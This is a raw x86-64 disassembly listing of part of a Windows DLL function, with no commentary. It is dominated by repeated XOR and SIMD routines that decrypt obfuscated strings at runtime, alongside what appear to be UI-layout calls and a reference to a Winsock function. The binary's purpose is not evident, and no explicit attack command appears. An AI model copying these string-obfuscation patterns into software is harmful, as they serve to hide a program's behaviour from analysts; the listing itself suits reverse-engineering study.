cmp qword [rdi + 0xd0], r14
je 0x1800a4976
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 6
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a49a0
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm6
xor r8d, r8d
mov edx, 6
call rbx
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xba8]
call fcn.180016840
cmp byte [0x1801c42b7], r14b
movss xmm0, dword [rax]
mov rax, qword [str.sOHUU_YeTTO]
mov qword [rbp + 0xbb8], rax
movss dword [rbp + 0xbb0], xmm0
mov dword [rbp + 0xbb4], 0x42200000
je 0x1800a4b24
cmp r12d, 2
jl 0x1800a4adf
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xbb8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0xbb8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xbbc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xbbc], xmm2
jmp 0x1800a4b24
lea r9, [rbp + 0xbb8]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800a4af0
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0xbb8]
call fcn.180002c70
test al, al
je 0x1800a4ba6
cmp qword [0x18024b0a0], r14
je 0x1800a4ba6
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x1800a4ba6
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249400]
call rax
mov rcx, rax
xor r8d, r8d
mov edx, 1
call rbx
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xbc0]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c42c0]
mov dword [rbp + 0x1c98], eax
movzx eax, word [0x1801c42c4]
mov word [rbp + 0x1c9c], ax
movzx eax, byte [0x1801c42c6]
movss dword [rbp + 0xbc8], xmm0
movsd xmm0, qword [0x1801c42b8]
mov byte [rbp + 0x1c9e], al
mov dword [rbp + 0xbcc], 0x42200000
movsd qword [rbp + 0x1c90], xmm0
cmp r12d, 2
jl 0x1800a4d08
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c42b8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c90], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c94]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c90]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a4d20
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1c90]
call fcn.180002c70
test al, al
je 0x1800a4dd3
cmp qword [0x18024b0a0], r14
je 0x1800a4dd3
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x1800a4dd3
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249400]
call rax
mov rcx, rax
xor r8d, r8d
xor edx, edx
call rbx
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xbd0]
call fcn.180016840
cmp byte [0x1801c42d3], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c42d0]
movss dword [rbp + 0xbd8], xmm0
movsd xmm0, qword [0x1801c42c8]
movsd qword [rbp + 0x1518], xmm0
mov dword [rbp + 0xbdc], 0x42200000
mov dword [rbp + 0x1520], eax
je 0x1800a4f74
mov r8d, r14d
cmp r12d, 2
jl 0x1800a4f27
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c42c8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1518], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x151c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x151c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1518]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a4f40
lea rdx, [rbp + 0xbd8]
lea rcx, [rbp + 0x1518]
call fcn.180002c70
test al, al
je 0x1800a4fec
cmp qword [0x18024b0a0], r14
je 0x1800a4fec
mov rax, qword [0x180249278]
mov rcx, qword [rax]
mov eax, dword [0x18024b4fc]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x1800a4fec
mov rax, qword [0x1802491f8]
call rax
mov rdx, qword [0x1802491f8]
mov rbx, rax
mov rcx, qword [0x18024b0a0]
call rdx
mov r8d, 1
mov rdx, rax
mov rcx, rbx
call qword [0x180249418]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
mov r8, qword [rbp + 0x30d8]
cmp r8, 0xf
jbe 0x1800a501b
mov rdx, qword [rbp + 0x30c0]
lea rcx, [rbp + 0x30c0]
call fcn.180071df0
movdqa xmm0, xmmword [0x1801c6e30]
movdqu xmmword [rbp + 0x30d0], xmm0
mov byte [rbp + 0x30c0], r14b
call fcn.180006c20
call fcn.180013d50
jmp 0x1800a5062
movdqa xmm13, xmmword [rbp + 0x2f80]
movdqa xmm12, xmmword [0x1801c6e50]
movdqa xmm11, xmmword [0x1801c6e90]
movdqa xmm10, xmmword [0x1801c6f20]
cmp dword [0x18024dbf8], 4
jne 0x1800ab508
cmp dword [0x18024dbfc], r14d
jne 0x1800a85e3
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xbe0]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0xbe0], 0x43520000
movss dword [rbp + 0xbe4], xmm0
call fcn.180025700
mov eax, dword [0x1801c42d4]
lea rdx, [rbp + 0xbe8]
mov dword [rbp + 0xd8], eax
lea rcx, [rbp + 0xd8]
movzx eax, byte [0x1801c42d8]
xor r9d, r9d
xor byte [rbp + 0xd9], 0x37
xor al, 0x3a
xor byte [rbp + 0xda], 0x38
xor r8d, r8d
xor byte [rbp + 0xdb], 0x39
mov byte [rbp + 0xdc], al
mov dword [rbp + 0xbe8], 0x43a50000
mov dword [rbp + 0xbec], 0x4405c000
mov byte [rbp + 0xd8], Ordinal_79
call fcn.18000fcc0
mov eax, dword [0x1801c42dc]
lea rdx, [rbp + 0xbf0]
mov dword [rbp + 0xb8], eax
lea rcx, [rbp + 0xb8]
movzx eax, byte [0x1801c42e0]
xor r9d, r9d
xor byte [rbp + 0xb9], 0x37
xor al, 0x3a
xor byte [rbp + 0xba], 0x38
mov r8b, 1
xor byte [rbp + 0xbb], 0x39
mov byte [rbp + 0xbc], al
mov dword [rbp + 0xbf0], 0x43a00000
mov dword [rbp + 0xbf4], 0x43ed8000
mov byte [rbp + 0xb8], Ordinal_79
call fcn.180003d00
movzx ecx, word [0x1801c42f0]
lea rdx, [0x180248f6c]
movzx eax, byte [0x1801c42f2]
movsd xmm0, qword [str.t_WZQRRMKK_]
xor al, 0x40
movsd qword [rbp + 0x1228], xmm0
xor byte [rbp + 0x1229], 0x37
xor byte [rbp + 0x122a], 0x38
xor byte [rbp + 0x122b], 0x39
xor byte [rbp + 0x122c], 0x3a
xor byte [rbp + 0x122d], 0x3b
xor byte [rbp + 0x122e], 0x3c
xor byte [rbp + 0x122f], 0x3d
mov word [rbp + 0x1230], cx
xor cl, 0x3e
xor byte [rbp + 0x1231], 0x3f
mov byte [rbp + 0x1230], cl
lea rcx, [rbp + 0x1228]
mov byte [rbp + 0x1228], 0x42
mov byte [rbp + 0x1232], al
call fcn.1800032d0
cmp byte [0x1801c4301], r14b
movsd xmm0, qword [0x1801c42f8]
movzx eax, word [0x1801c4300]
movsd qword [rbp + 0x1048], xmm0
mov word [rbp + 0x1050], ax
je 0x1800a5267
xor byte [rbp + 0x1049], 0x37
xor byte [rbp + 0x104a], 0x38
xor byte [rbp + 0x104b], 0x39
xor byte [rbp + 0x104c], 0x3a
xor byte [rbp + 0x104d], 0x3b
xor byte [rbp + 0x104e], 0x3c
xor byte [rbp + 0x104f], 0x3d
xor byte [rbp + 0x1050], 0x3e
xor byte [rbp + 0x1051], 0x3f
mov byte [rbp + 0x1048], 0x46
lea rdx, [0x180248f74]
lea rcx, [rbp + 0x1048]
call fcn.1800032d0
cmp byte [0x1801c431d], r14b
mov eax, dword [0x1801c4318]
movups xmm0, xmmword [str.sYLPNB]
mov dword [rbp + 0x25d8], eax
movzx eax, word [0x1801c431c]
movups xmmword [rbp + 0x25c8], xmm0
mov word [rbp + 0x25dc], ax
je 0x1800a5414
mov r8d, r14d
cmp r12d, 2
jl 0x1800a53cb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x25cc]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a52d0
cmp r8d, 0x16
jge 0x1800a5414
movsxd rax, r8d
lea r9, [rbp + 0x25c8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1800a53e0
lea rdx, [0x180248f68]
lea rcx, [rbp + 0x25c8]
call fcn.1800032d0
cmp byte [0x1801c4329], r14b
movsd xmm0, qword [str.uEWJIS_TL_]
movzx eax, word [0x1801c4328]
movsd qword [rbp + 0x1058], xmm0
mov word [rbp + 0x1060], ax
je 0x1800a5494
xor byte [rbp + 0x1059], 0x37
xor byte [rbp + 0x105a], 0x38
xor byte [rbp + 0x105b], 0x39
xor byte [rbp + 0x105c], 0x3a
xor byte [rbp + 0x105d], 0x3b
xor byte [rbp + 0x105e], 0x3c
xor byte [rbp + 0x105f], 0x3d
xor byte [rbp + 0x1060], 0x3e
xor byte [rbp + 0x1061], 0x3f
mov byte [rbp + 0x1058], 0x43
lea rdx, [rbp + 0x1058]
lea rcx, [rbp + 0x2950]
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249194]
lea rdx, [0x180249191]
call fcn.18006f530
cmp byte [0x1801c4339], r14b
lea rdx, reloc.WS2_32.dll_accept
movsd xmm0, qword [str.aVLHV_OU_]
lea rcx, [rbp + 0x1068]
movzx eax, word [0x1801c4338]
movsd qword [rbp + 0x1068], xmm0
mov word [rbp + 0x1070], ax
je 0x1800a5538
xor byte [rbp + 0x1069], 0x37
xor byte [rbp + 0x106a], 0x38
xor byte [rbp + 0x106b], 0x39
xor byte [rbp + 0x106c], 0x3a
xor byte [rbp + 0x106d], 0x3b
xor byte [rbp + 0x106e], 0x3c
xor byte [rbp + 0x106f], 0x3d
xor byte [rbp + 0x1070], 0x3e
xor byte [rbp + 0x1071], 0x3f
mov byte [rbp + 0x1068], 0x57
call fcn.1800032d0
mov eax, dword [0x1801c4348]
mov r8d, r14d
movsd xmm0, qword [0x1801c4340]
mov dword [rbp + 0x1ca8], eax
movzx eax, word [0x1801c434c]
mov word [rbp + 0x1cac], ax
movzx eax, byte [0x1801c434e]
mov byte [rbp + 0x1cae], al
movsd qword [rbp + 0x1ca0], xmm0
cmp r12d, 2
jl 0x1800a566e
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4340]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ca0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ca4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ca4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ca0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a5680
lea rdx, [0x180249190]
lea rcx, [rbp + 0x1ca0]
call fcn.1800032d0
mov rcx, qword [0x18024af78]
mov rax, qword [rcx + 0x3f10]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f10]
lea rcx, [rbp + 0xbf8]
mov rbx, qword [0x18024af78]
movss xmm9, dword [rax + 0x100]
movss xmm8, dword [rax + 0x104]
call fcn.1800168a0
movaps xmm7, xmm8
addss xmm7, dword [0x1801ad830]
movss xmm6, dword [rax]
subss xmm6, dword [rbx + 0x37d8]
addss xmm6, xmm9
call fcn.180016980
addss xmm0, dword [0x1801ad7f0]
call fcn.1800257a0
call fcn.180010580
call fcn.180017a90
movzx ecx, byte [0x1801c436a]
mov rdi, rax
movsd xmm0, qword [0x1801c4360]
xor cl, 0x40
movzx edx, word [0x1801c4368]
movsd qword [rbp + 0x1238], xmm0
movdqa xmm0, xmmword [0x1801c7190]
xor byte [rbp + 0x1239], 0x37
xor byte [rbp + 0x123a], 0x38
xor byte [rbp + 0x123b], 0x39
xor byte [rbp + 0x123c], 0x3a
xor byte [rbp + 0x123d], 0x3b
xor byte [rbp + 0x123e], 0x3c
xor byte [rbp + 0x123f], 0x3d
mov word [rbp + 0x1240], dx
xor dl, 0x3e
xor byte [rbp + 0x1241], 0x3f
mov byte [rbp + 0x1242], cl
lea rcx, [rbp + 0x1e50]
mov byte [rbp + 0x1238], Ordinal_79
mov byte [rbp + 0x1240], dl
movups xmmword [rbp + 0x1e50], xmm0
call fcn.180012650
movzx ecx, word [0x1801c4358]
lea r9, [rbp + 0x1248]
movsd xmm0, qword [0x1801c4350]
mov ebx, eax
movzx eax, byte [0x1801c435a]
movaps xmm1, xmm9
movsd qword [rbp + 0x1248], xmm0
xor al, 0x40
xor byte [rbp + 0x1249], 0x37
xor byte [rbp + 0x124a], 0x38
xor byte [rbp + 0x124b], 0x39
xor byte [rbp + 0x124c], 0x3a
xor byte [rbp + 0x124d], 0x3b
xor byte [rbp + 0x124e], 0x3c
xor byte [rbp + 0x124f], 0x3d
mov word [rbp + 0x1250], cx
xor cl, 0x3e
xor byte [rbp + 0x1251], 0x3f
unpcklps xmm6, xmm7
unpcklps xmm1, xmm8
movq r8, xmm6
mov byte [rbp + 0x1250], cl
movq rdx, xmm1
lea rcx, [rbp + 0xc00]
mov byte [rbp + 0x1248], Ordinal_79
mov byte [rbp + 0x1252], al
call fcn.18007c170
addss xmm9, dword [0x1801ad7f4]
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x1238]
mov r8d, ebx
lea rdx, [rbp + 0xc08]
movss xmm0, dword [rax + 4]
mov rcx, rdi
movss dword [rbp + 0xc0c], xmm0
movss dword [rbp + 0xc08], xmm9
call fcn.180031050
call fcn.180016950
addss xmm0, dword [0x1801c6de8]
call fcn.180025760
cmp byte [0x1801c4379], r14b
movsd xmm0, qword [str.RVLyTPRL_]
movzx eax, word [0x1801c4378]
movsd qword [rbp + 0x1078], xmm0
mov word [rbp + 0x1080], ax
je 0x1800a5930
xor byte [rbp + 0x1079], 0x37
xor byte [rbp + 0x107a], 0x38
xor byte [rbp + 0x107b], 0x39
xor byte [rbp + 0x107c], 0x3a
xor byte [rbp + 0x107d], 0x3b
xor byte [rbp + 0x107e], 0x3c
xor byte [rbp + 0x107f], 0x3d
xor byte [rbp + 0x1080], 0x3e
xor byte [rbp + 0x1081], 0x3f
mov byte [rbp + 0x1078], Ordinal_79
mov r8d, 0x2010128
lea rdx, [0x18020c530]
lea rcx, [rbp + 0x1078]
call fcn.180004800
call fcn.180016980
movss xmm6, dword [0x1801ad7d4]
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0xc10]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c4388]
movss dword [rbp + 0xc18], xmm0
movsd xmm0, qword [str.fVVPYeHJK__B]
mov dword [rbp + 0x1908], eax
movzx eax, byte [0x1801c438c]
movsd qword [rbp + 0x1900], xmm0
mov byte [rbp + 0x190c], al
mov dword [rbp + 0xc1c], 0x42200000
cmp r12d, 2
jl 0x1800a5aa4
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.fVVPYeHJK__B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1900], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1904]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1904], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1900]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a5ab1
lea rdx, [rbp + 0xc18]
lea rcx, [rbp + 0x1900]
call fcn.180002c70
test al, al
je 0x1800a5b0a
mov byte [reloc.WS2_32.dll_accept], r14b
mov byte [0x180248f6b], 1
call fcn.180014790
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xc20]
movss xmm7, dword [0x1801c6db8]
addss xmm0, xmm7
mov dword [rbp + 0xc20], 0x44070000
movss dword [rbp + 0xc24], xmm0
call fcn.180025700
movzx ecx, word [0x1801c4394]
lea rdx, [rbp + 0xc28]
mov eax, dword [0x1801c4390]
mov r9d, 8
mov dword [rbp + 0x2d8], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2d9], 0x37
xor al, 0x3c
xor byte [rbp + 0x2da], 0x38
xor byte [rbp + 0x2db], 0x39
mov word [rbp + 0x2dc], cx
xor cl, 0x3a
xor byte [rbp + 0x2dd], 0x3b
mov byte [rbp + 0x2dc], cl
lea rcx, [rbp + 0x2d8]
mov dword [rbp + 0xc28], 0x43a00000
mov dword [rbp + 0xc2c], 0x4405c000
mov byte [rbp + 0x2d8], Ordinal_79
mov byte [rbp + 0x2de], al
call fcn.18000fcc0
lea rcx, [rbp + 0xc30]
call fcn.180016840
mov eax, dword [str.tV_I_]
lea rdx, [rbp + 0xc38]
mov dword [rbp + 0x160], eax
lea rcx, [rbp + 0x160]
movzx eax, word [0x1801c439c]
xor r9d, r9d
xor byte [rbp + 0x161], 0x37
mov r8b, 1
xor byte [rbp + 0x162], 0x38
xor byte [rbp + 0x163], 0x39
mov word [rbp + 0x164], ax
xor al, 0x3a
xor byte [rbp + 0x165], 0x3b
mov byte [rbp + 0x164], al
mov dword [rbp + 0xc38], 0x43a00000
mov dword [rbp + 0xc3c], 0x43ed8000
mov byte [rbp + 0x160], 0x42
call fcn.180003d00
cmp byte [0x1801c43a9], r14b
movsd xmm0, qword [str.RVL]
movzx eax, word [0x1801c43a8]
movsd qword [rbp + 0x10a8], xmm0
mov word [rbp + 0x10b0], ax
je 0x1800a5cbb
xor byte [rbp + 0x10a9], 0x37
xor byte [rbp + 0x10aa], 0x38
xor byte [rbp + 0x10ab], 0x39
xor byte [rbp + 0x10ac], 0x3a
xor byte [rbp + 0x10ad], 0x3b
xor byte [rbp + 0x10ae], 0x3c
xor byte [rbp + 0x10af], 0x3d
xor byte [rbp + 0x10b0], 0x3e
xor byte [rbp + 0x10b1], 0x3f
mov byte [rbp + 0x10a8], Ordinal_79
lea rdx, [0x180249510]
lea rcx, [rbp + 0x10a8]
call fcn.180007380
movss xmm8, dword [0x1801ad7c4]
movaps xmm0, xmm8
call fcn.180008a70
cmp byte [0x1801c43bb], r14b
movsd xmm0, qword [str.wU_UO]
mov eax, dword [0x1801c43b8]
movsd qword [rbp + 0x1528], xmm0
mov dword [rbp + 0x1530], eax
je 0x1800a5e44
mov r8d, r14d
cmp r12d, 2
jl 0x1800a5e03
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wU_UO]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1528], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x152c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
